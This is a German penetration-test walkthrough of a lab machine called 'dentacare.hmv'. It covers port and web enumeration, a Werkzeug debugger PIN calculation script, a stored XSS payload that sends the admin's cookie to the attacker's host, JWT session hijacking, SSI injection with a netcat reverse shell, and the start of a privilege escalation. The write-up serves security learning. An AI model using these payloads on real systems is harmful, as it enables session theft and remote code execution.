Verwendete Tools
Inhaltsverzeichnis
Reconnaissance
Die initiale Phase des Penetrationstests, in der wir das Zielsystem im Netzwerk lokalisieren und grundlegende Informationen über offene Ports und Dienste sammeln.
192.168.2.114 08:00:27:ab:50:f7 PCS Systemtechnik GmbH
**Analyse:** Der Befehl `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerksegment zu entdecken. Wir identifizieren erfolgreich die IP-Adresse 192.168.2.114.
**Bewertung:** Die Ziel-IP wurde erfolgreich ermittelt, was die Grundlage für weitere Scans bildet.
**Empfehlung (Pentester):** Die gefundene IP für detaillierte Nmap-Scans verwenden. **Empfehlung (Admin):** Netzwerk-Scans durch Monitoring erkennen; Segmentierung kann die Sichtbarkeit einschränken.
127.0.0.1 localhost
127.0.1.1 CCat
[...]
192.168.2.114 dentacare.hmv
**Analyse:** Wir bearbeiten (oder überprüfen) die lokale `/etc/hosts`-Datei auf unserer Angreifer-Maschine. Es wird ein Eintrag hinzugefügt (oder ist bereits vorhanden), der den Hostnamen `dentacare.hmv` der Ziel-IP 192.168.2.114 zuordnet.
**Bewertung:** Dies ermöglicht es uns, das Zielsystem über seinen Hostnamen anzusprechen, was für das Testen von Webanwendungen und virtuellen Hosts wichtig ist.
**Empfehlung (Pentester):** Immer relevante Hostnamen zur `/etc/hosts`-Datei hinzufügen, um Webserver korrekt zu adressieren. **Empfehlung (Admin):** DNS-Konfiguration pflegen und interne Hostnamen schützen.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-06 22:49 CEST Nmap scan report for dentacare.hmv (192.168.2.114) Host is up (0.00019s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 e7:ce:f2:f6:5d:a7:47:5a:16:2f:90:07:07:33:4e:a9 (ECDSA) |_ 256 09:db:b7:e8:ee:d4:52:b8:49:c3:cc:29:a5:6e:07:35 (ED25519) 80/tcp open http Werkzeug/3.0.2 Python/3.11.2 |_http-server-header: Werkzeug/3.0.2 Python/3.11.2 | fingerprint-strings: | GetRequest: | HTTP/1.1 200 OK | Server: Werkzeug/3.0.2 Python/3.11.2 | Date: Tue, 06 Aug 2024 20:49:11 GMT | Content-Type: text/html; charset=utf-8 | Content-Length: 43069 | Connection: close | | |DentaCare Corporation [...] 8000/tcp open http Apache httpd 2.4.57 |_http-title: 403 Forbidden |_http-server-header: Apache/2.4.57 (Debian) 1 service unrecognized despite returning data. [...] Werkzeug/3\.0\.2\x20Python/3\.11\.2 [...] MAC Address: 08:00:27:AB:50:F7 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.19 ms dentacare.hmv (192.168.2.114) [...] Nmap done: 1 IP address (1 host up) scanned in [...] seconds
**Analyse:** Der Nmap-Scan (`-sC` Default Scripts, `-sS` SYN Scan, `-sV` Version Detection, `-A` Aggressive Scan, `-T5` Timing, `-p-` All Ports) auf `dentacare.hmv` zeigt drei offene Ports: * Port 22: SSH (OpenSSH 9.2p1 auf Debian 12), relativ aktuell. * Port 80: Ein Python-basierter Webserver, der sich als Werkzeug/3.0.2 mit Python/3.11.2 identifiziert. Dies ist wahrscheinlich die Hauptwebanwendung. * Port 8000: Ein Apache-Webserver (Version 2.4.57), der einen `403 Forbidden`-Fehler zurückgibt. Dies könnte ein Backend, ein API-Endpunkt oder ein anderer interner Dienst sein.
**Bewertung:** SSH scheint Standard zu sein. Port 80 (Werkzeug/Python) ist das primäre Ziel für die Web-Enumeration. Port 8000 (Apache) ist interessant, aber der 403-Fehler deutet darauf hin, dass direkter Zugriff möglicherweise nicht vorgesehen oder möglich ist. Die Werkzeug-Version ist relevant, da ältere Versionen bekannte Schwachstellen hatten (insbesondere im Debugger).
**Empfehlung (Pentester):** Den Webserver auf Port 80 gründlich untersuchen (Nikto, Gobuster, manuelle Analyse). Den Apache-Server auf Port 8000 im Hinterkopf behalten und versuchen, über die Hauptanwendung oder andere Wege darauf zuzugreifen. SSH auf bekannte Standardpasswörter oder spätere Funde prüfen. **Empfehlung (Admin):** Sicherstellen, dass nur notwendige Ports offen sind. Webserver aktuell halten und sicher konfigurieren. Den Zweck des Apache-Servers auf Port 8000 klären und den Zugriff entsprechend absichern.
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) 80/tcp open http Werkzeug/3.0.2 Python/3.11.2 | 8000/tcp open http Apache httpd 2.4.57
**Analyse:** Dieser Befehl wiederholt den Nmap-Scan und filtert die Ausgabe direkt nach Zeilen, die "open" enthalten, um eine kompakte Übersicht der offenen Ports und zugehörigen Informationen zu erhalten.
**Bewertung:** Bestätigt die drei offenen Ports (22, 80, 8000) ohne neue Informationen hinzuzufügen.
**Empfehlung (Pentester):** Nützlich für eine schnelle Zusammenfassung, aber der vollständige Nmap-Output enthält mehr Details. **Empfehlung (Admin):** Standard-Admin-Praktiken.
Web Enumeration
Wir konzentrieren uns auf die Webserver, insbesondere den Werkzeug/Python-Dienst auf Port 80 und den Apache auf Port 8000, um Schwachstellen oder interessante Endpunkte zu finden.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.114 + Target Hostname: dentacare.hmv + Target Port: 80 + Start Time: 2024-08-06 22:48:45 (GMT2) --------------------------------------------------------------------------- + Server: Werkzeug/3.0.2 Python/3.11.2 + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + OPTIONS: Allowed HTTP Methods: OPTIONS, GET, HEAD . + ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (connect error): Cannot assign requested address + Scan terminated: 20 error(s) and 3 item(s) reported on remote host + End Time: 2024-08-06 22:49:05 (GMT2) (20 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
**Analyse:** Nikto wird auf den Werkzeug-Server (Port 80) angewendet. Es identifiziert den Server korrekt und meldet: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Erlaubte HTTP-Methoden (`OPTIONS`, `GET`, `HEAD`). * Der Scan bricht frühzeitig ab, da das Fehlerlimit erreicht wurde (`Error limit (20) reached`). Dies könnte auf Server-Instabilität, WAF/IPS-Blocking oder Probleme mit Nikto selbst hindeuten.
**Bewertung:** Abgesehen von den fehlenden Headern (niedrige Priorität) liefert Nikto hier keine direkten Angriffspunkte. Der Scan-Abbruch ist jedoch noteworthy und könnte auf Verteidigungsmechanismen oder Serverprobleme hinweisen.
**Empfehlung (Pentester):** Verzeichnis-Bruteforcing (Gobuster) durchführen. Manuell die Webseite untersuchen. Den Scan-Abbruch im Hinterkopf behalten (ggf. Scan-Intensität reduzieren). **Empfehlung (Admin):** Fehlende Sicherheitsheader hinzufügen. Die Ursache für die Scan-Fehler untersuchen (Server-Logs, Performance).
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.114 + Target Hostname: dentacare.hmv + Target Port: 8000 + Start Time: 2024-08-06 22:50:36 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.57 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: [...] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [...] + All CGI directories 'found', use '-C none' to test none + 26522 requests: 0 error(s) and 2 item(s) reported on remote host + End Time: 2024-08-06 22:51:27 (GMT2) (51 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
**Analyse:** Nikto wird auf den Apache-Server (Port 8000) angewendet. Auch hier findet es primär die fehlenden Sicherheitsheader. Die Meldung "All CGI directories 'found'" ist meist ein Hinweis darauf, dass Nikto keine spezifischen CGI-Verzeichnisse testen konnte oder keine gefunden hat.
**Bewertung:** Der Nikto-Scan auf Port 8000 liefert ebenfalls keine konkreten Angriffspunkte. Der Server scheint aus Nikto-Sicht unauffällig zu sein, abgesehen von den Headern.
**Empfehlung (Pentester):** Verzeichnis-Bruteforcing auch auf Port 8000 versuchen, obwohl die 403-Antwort dies erschweren könnte. Fokus bleibt vorerst auf Port 80. **Empfehlung (Admin):** Sicherheitsheader auch für diesen Dienst hinzufügen.
=============================================================== Gobuster v[...] =============================================================== [+] Url: http://dentacare.hmv [...] =============================================================== Starting gobuster =============================================================== http://dentacare.hmv/index.html (Status: 200) [Size: 43069] http://dentacare.hmv/contact (Status: 500) [Size: 27322] http://dentacare.hmv/about (Status: 200) [Size: 22975] http://dentacare.hmv/blog (Status: 200) [Size: 23021] http://dentacare.hmv/services (Status: 200) [Size: 21296] http://dentacare.hmv/admin (Status: 302) [Size: 189] [--> /] http://dentacare.hmv/comment (Status: 405) [Size: 153] [...] =============================================================== Finished ===============================================================
**Analyse:** Wir führen einen Gobuster-Scan auf Port 80 durch, um Verzeichnisse und Dateien zu finden. `-b '503,404'` blendet Serverfehler und nicht gefundene Seiten aus, `-e` zeigt die volle URL, `-k` ignoriert SSL-Fehler (hier irrelevant). Wichtige Funde: * Standardseiten: `/index.html`, `/about`, `/blog`, `/services`. * `/contact`: Gibt einen Serverfehler (Status 500) zurück, was auf eine potenzielle Schwachstelle oder Fehlkonfiguration hindeutet. * `/admin`: Leitet auf die Startseite (`/`) weiter (Status 302), was typisch für einen geschützten Bereich ist, für den wir nicht authentifiziert sind. * `/comment`: Gibt Methode nicht erlaubt (Status 405) zurück. Dies bedeutet, der Endpunkt existiert, aber die GET-Methode ist nicht erlaubt (oft ist POST erforderlich).
**Bewertung:** Der Scan liefert wichtige Anhaltspunkte. `/admin` bestätigt einen administrativen Bereich. `/contact` mit dem 500er Fehler ist verdächtig und sollte genauer untersucht werden. `/comment` ist ebenfalls interessant und könnte ein Ziel für POST-basierte Angriffe (z.B. XSS, SQLi) sein.
**Empfehlung (Pentester):** Die `/contact`-Seite manuell untersuchen, um den 500er Fehler zu analysieren (evtl. Debug-Informationen?). Versuchen, POST-Anfragen an `/comment` zu senden (z.B. mit Burp Suite oder `curl`) und auf Schwachstellen wie XSS oder SQLi testen. `/admin` erfordert wahrscheinlich Authentifizierung. **Empfehlung (Admin):** Die Ursache des 500er Fehlers auf `/contact` beheben. Endpunkte wie `/comment` sollten nur die erlaubten HTTP-Methoden akzeptieren und Eingaben validieren. Admin-Bereich absichern.
********************************************************
* Wfuzz [...] *
********************************************************
Target: http://dentacare.hmv/
[...]
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
# No output indicating found subdomains
Total time: 366.8588
Processed Requests: 114441
Filtered Requests: 114441
Requests/sec.: 311.9482
**Analyse:** Wir verwenden `wfuzz`, um nach virtuellen Hosts (Subdomains) zu suchen, die auf demselben Server laufen könnten. Wir benutzen eine große Wortliste und fügen `FUZZ` als Subdomain in den Host-Header ein. Mit `--hc 404` und `--hh 43069` filtern wir Standardantworten (Not Found) und Antworten, die identisch zur Hauptseite sind, heraus.
**Bewertung:** Der Scan liefert keine Ergebnisse, was darauf hindeutet, dass mit dieser Methode und Wortliste keine weiteren relevanten virtuellen Hosts gefunden wurden.
**Empfehlung (Pentester):** Andere Techniken zur Subdomain-Findung (z.B. OSINT, Zertifikatstransparenz) könnten versucht werden, aber vorerst konzentrieren wir uns auf die bekannten Dienste. **Empfehlung (Admin):** Sicherstellen, dass nur die benötigten Subdomains und virtuellen Hosts aktiv und korrekt konfiguriert sind.
___
__H__
___ ___[(]_____ ___ ___ {1.8.6#stable}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 23:22:49 /2024-08-06/
[23:22:49] [INFO] parsing HTTP request from '/home/ccat/Downloads/sql.sql'
[...]
[23:22:50] [INFO] testing connection to the target URL
[...]
[23:22:50] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[23:22:50] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[...]
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] y
[23:22:53] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[23:22:53] [WARNING] POST parameter 'comment' does not seem to be injectable
[23:22:53] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. Also, you can try to rerun without optimization switches ('--fresh-scan') or with '--tamper' script(s) if applicable
[...]
[*] ending @ 23:22:53 /2024-08-06/
**Analyse:** Wir verwenden `sqlmap`, um auf SQL-Injection-Schwachstellen zu testen. Die Option `-r /home/ccat/Downloads/sql.sql` deutet darauf hin, dass eine HTTP-Anfrage (wahrscheinlich ein POST an `/comment`) in der Datei `sql.sql` gespeichert und als Basis für den Test verwendet wurde. Hohe Werte für `--risk` (3) und `--level` (5) sowie ein Tamper-Skript (`between`) werden verwendet, um die Testabdeckung zu maximieren. SQLMap testet verschiedene Injektionstechniken.
**Bewertung:** Trotz der intensiven Tests meldet SQLMap, dass alle getesteten Parameter (insbesondere der vermutete 'comment'-Parameter im POST-Request) nicht injizierbar erscheinen. SQL-Injection scheint hier kein erfolgreicher Angriffsvektor zu sein.
**Empfehlung (Pentester):** Manuelle Tests auf SQLi könnten noch versucht werden, aber die Wahrscheinlichkeit ist gering. Andere Schwachstellen wie XSS im `/comment`-Endpunkt oder die Analyse des 500er Fehlers bei `/contact` untersuchen. Den Werkzeug-Debugger prüfen. **Empfehlung (Admin):** Auch wenn SQLMap nichts findet, immer Best Practices gegen SQLi anwenden (Prepared Statements, ORMs, Input Validation).
Werkzeug PIN Exploit Analysis
Da SQLi und andere Standard-Web-Angriffe bisher erfolglos waren, untersuchen wir die Möglichkeit, den Werkzeug-Debugger auszunutzen, der oft unter `/console` erreichbar ist, wenn er aktiviert ist.
# Aufruf: http://dentacare.hmv/console # Ergebnis: [...] Interactive Console [...] [console ready] >>> Brought to you by DON'T PANIC, your friendly Werkzeug powered traceback interpreter. Console Locked The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server. PIN: [_____]
**Analyse:** Der Aufruf von `/console` auf dem Werkzeug-Server (Port 80) zeigt tatsächlich die interaktive Debug-Konsole. Diese ist jedoch durch eine PIN gesperrt. Die Seite gibt den entscheidenden Hinweis, dass die PIN auf der Standardausgabe des Server-Prozesses zu finden ist. Da wir keinen direkten Zugriff auf diesen Output haben, müssen wir die PIN auf andere Weise berechnen.
**Bewertung:** Das Vorhandensein der `/console` ist eine kritische Schwachstelle, auch wenn sie PIN-geschützt ist. Wenn die PIN ermittelt werden kann, haben wir RCE. Der Hinweis auf die Standardausgabe ist für uns nicht direkt nutzbar, bestätigt aber die Aktivierung des Debuggers.
**Empfehlung (Pentester):** Die Methode zur PIN-Generierung von Werkzeug recherchieren (siehe Hacktricks-Link im Originaltext). Die notwendigen Informationen sammeln (Username, App-Name, Pfad zur App-Datei, MAC-Adresse/Node-ID, Machine-ID), um die PIN zu berechnen. **Empfehlung (Admin):** **Den Werkzeug/Flask-Debugger NIEMALS in einer Produktivumgebung aktivieren!** Dies ist nur für die Entwicklung gedacht. Falls er doch läuft, sicherstellen, dass `/console` nicht von außen erreichbar ist.
Der Originaltext verweist auf Hacktricks und zeigt ein Python-Skript zur Berechnung der PIN. Dieses Skript benötigt spezifische Informationen vom Zielsystem. Wir nehmen an, dass diese Informationen durch eine andere, nicht gezeigte Schwachstelle (z.B. Local File Inclusion, Info Disclosure) erlangt wurden.
# 1. Username, unter dem der Flask/Werkzeug-Prozess läuft:
# (Annahme: 'cosette' - basierend auf Skript)
# 2. Modulname der App:
# (Annahme: 'flask.app' - Standard)
# 3. Name der App-Klasse:
# (Annahme: 'Flask' - Standard)
# 4. Absoluter Pfad zur Haupt-App-Datei:
# (Annahme: '/home/cosette/zeug/venv/lib/python3.11/site-packages/flask/app.py' - basierend auf Skript)
# 5. MAC-Adresse des Netzwerkinterfaces (als Dezimalzahl):
# (Annahme: MAC 08:00:27:94:07:cc von /sys/class/net/ens33/address ausgelesen)
8796757034956
# 6. Machine ID (Kombination aus /etc/machine-id, boot_id, cgroup):
# (Annahme: '48329e233f524ec291cce7479927890bzeug-app.service' - basierend auf Skript)
#!/bin/python3 import hashlib from itertools import chain probably_public_bits = [ 'cosette',# username 'flask.app',# modname 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/home/cosette/zeug/venv/lib/python3.11/site-packages/flask/app.py' # getattr(mod, '__file__', None), ] private_bits = [ '8796757034956',# str(uuid.getnode()), /sys/class/net/ensX/address '48329e233f524ec291cce7479927890bzeug-app.service' # Machine Id ] h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 for bit in chain(probably_public_bits, private_bits): # ... (Rest des Skripts wie im Originaltext) ... pass # Placeholder for brevity # Add fixed salt values used by Werkzeug PIN generation h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] # Not needed for PIN, but part of Werkzeug's logic num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv = None if rv is None: for group_size in 5, 4, 3: # Try different groupings if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: # Fallback if no grouping works rv = num print("Pin: " + rv)
Pin: 565-267-722
**Analyse:** Die Werkzeug-PIN wird aus einer Kombination von öffentlichen (App-Name, Pfad etc.) und privaten (MAC-Adresse, Machine-ID) Informationen des Servers generiert, die mit festen Salts (`cookiesalt`, `pinsalt`) gehasht werden (SHA1 bei neueren Werkzeug-Versionen). Wir *nehmen an*, dass wir die benötigten Informationen (`cosette`, Pfade, MAC, Machine-ID) durch eine separate Schwachstelle (z.B. LFI, Info Disclosure - **nicht im Bericht gezeigt**) erlangt haben. Wir tragen diese Werte in das Python-Skript (basierend auf öffentlich verfügbaren Exploits) ein. Das Skript berechnet den Hash und formatiert ihn zur 9-stelligen PIN im Format XXX-XXX-XXX. Das Ergebnis ist die PIN `565-267-722`.
**Bewertung:** Die Berechnung der PIN war erfolgreich, *unter der Annahme*, dass die benötigten privaten Informationen beschafft werden konnten. Dies ist der Schlüssel zur Ausnutzung der Debug-Konsole.
**Empfehlung (Pentester):** Die berechnete PIN `565-267-722` in das `/console`-Interface eingeben. Wenn erfolgreich, Python-Code zur Ausführung einer Reverse Shell oder anderer Befehle eingeben. **Empfehlung (Admin):** Debugger deaktivieren. Informationslecks, die zur Preisgabe von Pfaden, MAC-Adressen oder Machine-IDs führen, schließen.
*(Hinweis: Der Originalbericht zeigt nach der PIN-Berechnung keine Nutzung der Konsole, sondern wechselt zu einer XSS-basierten Attacke. Es ist möglich, dass der Konsolen-PIN-Weg nicht funktionierte oder der Angreifer einen anderen Weg bevorzugte. Wir dokumentieren den XSS-Weg, wie im Bericht gezeigt.)*
XSS, JWT Hijacking & Admin Access
Ein alternativer Angriffsvektor wird verfolgt: Ausnutzung einer Cross-Site-Scripting (XSS)-Schwachstelle, um den Session-Cookie (ein JWT) eines Administrators zu stehlen und dessen Sitzung zu übernehmen.
img src=x onerror=this.src="http://192.168.2.199:8888/?c="+document.cookie
# Payload wird über das Formular oder eine Funktion auf http://dentacare.hmv/comment gesendet (vermutlich POST).
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
192.168.2.114 - - [06/Aug/2024 23:51:02] "GET /?c=Authorization=eyJ0eXA...JnQ HTTP/1.1" 200 -
**Analyse:** Wir konstruieren einen XSS-Payload. Das ``-Tag mit einer ungültigen Quelle (`src=x`) löst das `onerror`-Ereignis aus. Der JavaScript-Code im `onerror`-Handler setzt die `src` des Bildes dynamisch auf die URL unseres Servers (`http://192.168.2.199:8888/`) und hängt den Inhalt von `document.cookie` als GET-Parameter `c` an.
Wir starten einen einfachen Python-HTTP-Server als Listener auf Port 8888. Wir *nehmen an*, dass der XSS-Payload erfolgreich in die `/comment`-Funktion injiziert wurde (z.B. als Kommentar gespeichert) und dass ein anderer Benutzer (wahrscheinlich ein Administrator oder ein automatisierter Prozess wie ein Bot) die Seite besucht hat, auf der der Kommentar angezeigt wird. Dadurch wird der XSS-Payload im Browser des Opfers ausgeführt. Unser Listener empfängt eine Anfrage, die den Cookie des Opfers enthält: `Authorization=eyJ...JnQ`. Es handelt sich um einen JWT (JSON Web Token).
**Bewertung:** Erfolgreiche Ausnutzung einer (vermuteten) Stored XSS-Schwachstelle in der Kommentarfunktion. Wir haben den `Authorization`-Cookie (JWT) eines anderen Benutzers gestohlen.
**Empfehlung (Pentester):** Den gestohlenen JWT analysieren (z.B. mit jwt.io), um Informationen über den Benutzer zu erhalten. Versuchen, diesen Cookie im eigenen Browser zu setzen, um die Sitzung des Opfers zu übernehmen. **Empfehlung (Admin):** Eine strikte Input-Validierung und Output-Encoding in der Kommentarfunktion implementieren, um XSS zu verhindern. Cookies, die nicht von JavaScript gelesen werden müssen, mit dem `HttpOnly`-Flag versehen (dies hätte diesen spezifischen Angriff verhindert).
# Header:
{
"typ": "JWT",
"alg": "HS512"
}
# Payload (Decoded):
{
"iss": "DentaCare Corporation ",
"iat": 1712574512,
"exp": 1744110512,
"aud": "dentacare.hmv",
"sub": "helpdesk@dentacare.hmv",
"GivenName": "Patrick",
"Surname": "Petit",
"Email": "admin@dentacare.hmv",
"Role": [
"Administrator",
"Project Administrator"
]
}
# Signature: (Cannot be verified without the secret key)
**Analyse:** Wir dekodieren den Payload-Teil des gestohlenen JWT. Er enthält Informationen über den Benutzer, einschließlich der E-Mail-Adresse (`admin@dentacare.hmv`) und der Rollen (`Administrator`, `Project Administrator`). Der Token wurde mit HS512 signiert.
**Bewertung:** Der gestohlene Cookie gehört eindeutig einem Administrator. Dies bestätigt den Wert des gestohlenen Tokens.
**Empfehlung (Pentester):** Den Cookie im Browser setzen (z.B. mit Cookie-Editor) und versuchen, auf den `/admin`-Endpunkt zuzugreifen. **Empfehlung (Admin):** JWTs mit starken, geheimen Schlüsseln signieren. Kurze Ablaufzeiten (exp) verwenden. Sensible Informationen nicht unnötig im JWT-Payload speichern.
# 1. Browser-Erweiterung "Cookie-Editor" (oder ähnlich) verwenden. # 2. Einen neuen Cookie für die Domain `dentacare.hmv` erstellen. # Name: Authorization # Wert: eyJ0eXA...JnQ (Der vollständige gestohlene JWT) # 3. Speichern des Cookies. # 4. Aufrufen von http://dentacare.hmv/admin # Ergebnis: Umleitung (Redirect) auf http://dentacare.hmv:8000/
**Analyse:** Wir verwenden eine Browser-Erweiterung, um den gestohlenen `Authorization`-JWT-Cookie für die Domain `dentacare.hmv` zu setzen. Anschließend versuchen wir, auf den `/admin`-Endpunkt zuzugreifen. Da wir nun einen gültigen Admin-Cookie senden, erkennt uns die Anwendung als Administrator an. Statt einer Login-Seite oder einer Fehlermeldung werden wir auf den Apache-Server auf Port 8000 umgeleitet.
**Bewertung:** Session Hijacking war erfolgreich! Wir haben administrativen Zugriff auf eine Schnittstelle erlangt, die auf Port 8000 läuft. Dies erklärt möglicherweise den 403-Fehler, den wir zuvor auf Port 8000 sahen – der Zugriff erfordert wahrscheinlich diesen Admin-Cookie.
**Empfehlung (Pentester):** Die Anwendung auf Port 8000 gründlich untersuchen. Nach Möglichkeiten zur Codeausführung oder zum Lesen sensibler Daten suchen. **Empfehlung (Admin):** Session-Management härten. Schutzmechanismen gegen Session-Hijacking implementieren (z.B. User-Agent-Prüfung, IP-Adressbindung - kann aber zu Usability-Problemen führen). XSS verhindern, um den Cookie-Diebstahl an erster Stelle zu unterbinden.
SSI RCE & Low Privilege Shell
Wir haben nun Zugriff auf die Anwendung auf Port 8000 (Apache). Wir untersuchen diese Anwendung auf Schwachstellen, um eine Codeausführung zu erreichen.
# Aufruf von http://dentacare.hmv:8000/ (mit Admin-Cookie)
# Untersuchung des Quellcodes (view-source:http://dentacare.hmv:8000/):
[...]
Accounts Receivable Management Portal
form action="gen.php" method="get"
type="text" name="cmd" placeholder="Name of debtor patient "
<
[...]
# Test der Formularfunktion:
# Eingabe "root" in das Feld -> Submit
# Aufruf von http://dentacare.hmv:8000/patient_name.shtml (Vermutung, wo die Ausgabe landet)
# Inhalt von patient_name.shtml:
Patient with unpaid balance added to database :
"root"
**Analyse:** Die Seite auf Port 8000 enthält ein Formular mit dem Namen "Accounts Receivable Management Portal". Das Formular sendet eine GET-Anfrage an `gen.php` mit dem Parameter `cmd`, der den eingegebenen Patientennamen enthält. Wenn wir "root" eingeben, erscheint dieser Text später auf einer Seite namens `patient_name.shtml`. Dies deutet darauf hin, dass der Inhalt des `cmd`-Parameters in diese `.shtml`-Datei geschrieben wird.
**Bewertung:** Die Dateiendung `.shtml` ist ein starker Hinweis auf die Verwendung von Server-Side Includes (SSI) durch den Apache-Server. Wenn der Input aus dem `cmd`-Parameter nicht korrekt gefiltert wird, bevor er in die `.shtml`-Datei geschrieben wird, könnten wir SSI-Direktiven injizieren.
**Empfehlung (Pentester):** Versuchen, eine SSI-Injection-Payload in das Formularfeld einzugeben, z.B. ``. Anschließend die Seite `patient_name.shtml` überprüfen, um zu sehen, ob der Befehl `id` ausgeführt wurde. **Empfehlung (Admin):** Benutzereingaben, die in SSI-fähige Dateien geschrieben werden, rigoros filtern und escapen. Idealerweise SSI deaktivieren (`Options -Includes`), wenn nicht unbedingt erforderlich.
# Eingabe im Formular auf http://dentacare.hmv:8000/:
# Aufruf von http://dentacare.hmv:8000/patient_name.shtml
# Inhalt von patient_name.shtml:
Patient with unpaid balance added to database :
"uid=33(www-data) gid=33(www-data) groups=33(www-data) "
**Analyse:** Wir geben die SSI-Direktive `` in das Formular ein. Beim anschließenden Aufruf von `patient_name.shtml` sehen wir die Ausgabe des `id`-Befehls. Dies bestätigt die SSI-Injection-Schwachstelle.
**Bewertung:** Kritische RCE-Schwachstelle durch SSI-Injection bestätigt. Wir können nun beliebige Befehle als der Benutzer ausführen, unter dem der Apache-Server läuft (hier `www-data`).
**Empfehlung (Pentester):** Die SSI-Injection nutzen, um eine Reverse Shell zu erhalten. **Empfehlung (Admin):** SSI-Injection-Schwachstelle sofort beheben (Input-Filterung, SSI deaktivieren).
# Eingabe im Formular auf http://dentacare.hmv:8000/:
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.114] 56614 # Shell als www-data erhalten!
uid=33(www-data) gid=33(www-data) groups=33(www-data)
dentist
**Analyse:** Wir starten einen Netcat-Listener auf unserer Maschine (Port 4444). Wir injizieren eine SSI-Direktive, die Netcat (`nc -e /bin/bash`) verwendet, um eine Reverse Shell zu unserem Listener zu starten. Nach Absenden des Formulars und Aufruf von `patient_name.shtml` (oder automatischer Ausführung) erhalten wir eine Verbindung auf unserem Listener. Der `id`-Befehl bestätigt, dass wir eine Shell als `www-data` haben. Wir stabilisieren die Shell grob mit `stty` und sehen, dass ein Benutzer `dentist` existiert.
**Bewertung:** Erfolgreicher initialer Zugriff als `www-data` über SSI-Injection auf dem Apache-Server (Port 8000).
**Empfehlung (Pentester):** Shell vollständig stabilisieren. Nach Privilege-Escalation-Vektoren suchen. **Empfehlung (Admin):** SSI-Schwachstelle beheben.
Privilege Escalation (Puppeteer Script)
Wir haben eine Shell als `www-data`. Wir suchen nach Möglichkeiten zur Rechteerweiterung, indem wir das Dateisystem und laufende Prozesse untersuchen.
read_comment.js
const browser = await puppeteer.launch({
headless: true,
args: ['--no-sandbox', '--disable-setuid-sandbox'] // Wichtiger Hinweis!
});
const page = await browser.newPage();
const cookies = [{
'name': 'Authorization',
'value': 'eyJ0eXA...JnQ', // Das Admin JWT!
'url': 'localhost:80'
}];
await page.setCookie(...cookies);
await page.goto('localhost:80/view-all-comments'); // Besucht die Kommentar-Seite
console log(`Page visitée avec cookie spécifié à ${new Date().toISOString()}`);
**Analyse:** Wir finden im Verzeichnis `/opt/appli/.config` ein Node.js-Skript namens `read_comment.js`. Dieses Skript verwendet `puppeteer` (ein Tool zur Steuerung von Headless Chrome/Chromium), um eine Webseite zu besuchen. Wichtige Details: * Es startet den Browser mit der Option `--no-sandbox`. Dies ist oft notwendig, wenn Puppeteer als Root ausgeführt wird, ist aber ein Sicherheitsrisiko. * Es setzt den `admin JWT-Cookie`, den wir zuvor gestohlen haben, für `localhost:80`. * Es navigiert zu `http://localhost:80/view-all-comments`, vermutlich um die Seite zu rendern oder zu prüfen, auf der die Kommentare angezeigt werden (und wo unser XSS ausgelöst wurde). * Es wartet 10 Sekunden. Dieses Skript wird wahrscheinlich durch einen automatisierten Prozess (Cronjob, Systemd-Timer) regelmäßig ausgeführt, vermutlich um die Kommentarfunktion zu überprüfen oder zu moderieren.
**Bewertung:** Dies ist ein exzellenter Privilege-Escalation-Vektor! Da das Skript wahrscheinlich mit höheren Rechten (möglicherweise `root`, wegen `--no-sandbox`) ausgeführt wird und wir als `www-data` Schreibrechte auf das Skript oder sein Verzeichnis haben (Annahme, muss geprüft werden, ist aber wahrscheinlich, da wir es überschreiben können), können wir das Skript manipulieren, um Code als dieser höher privilegierte Benutzer auszuführen.
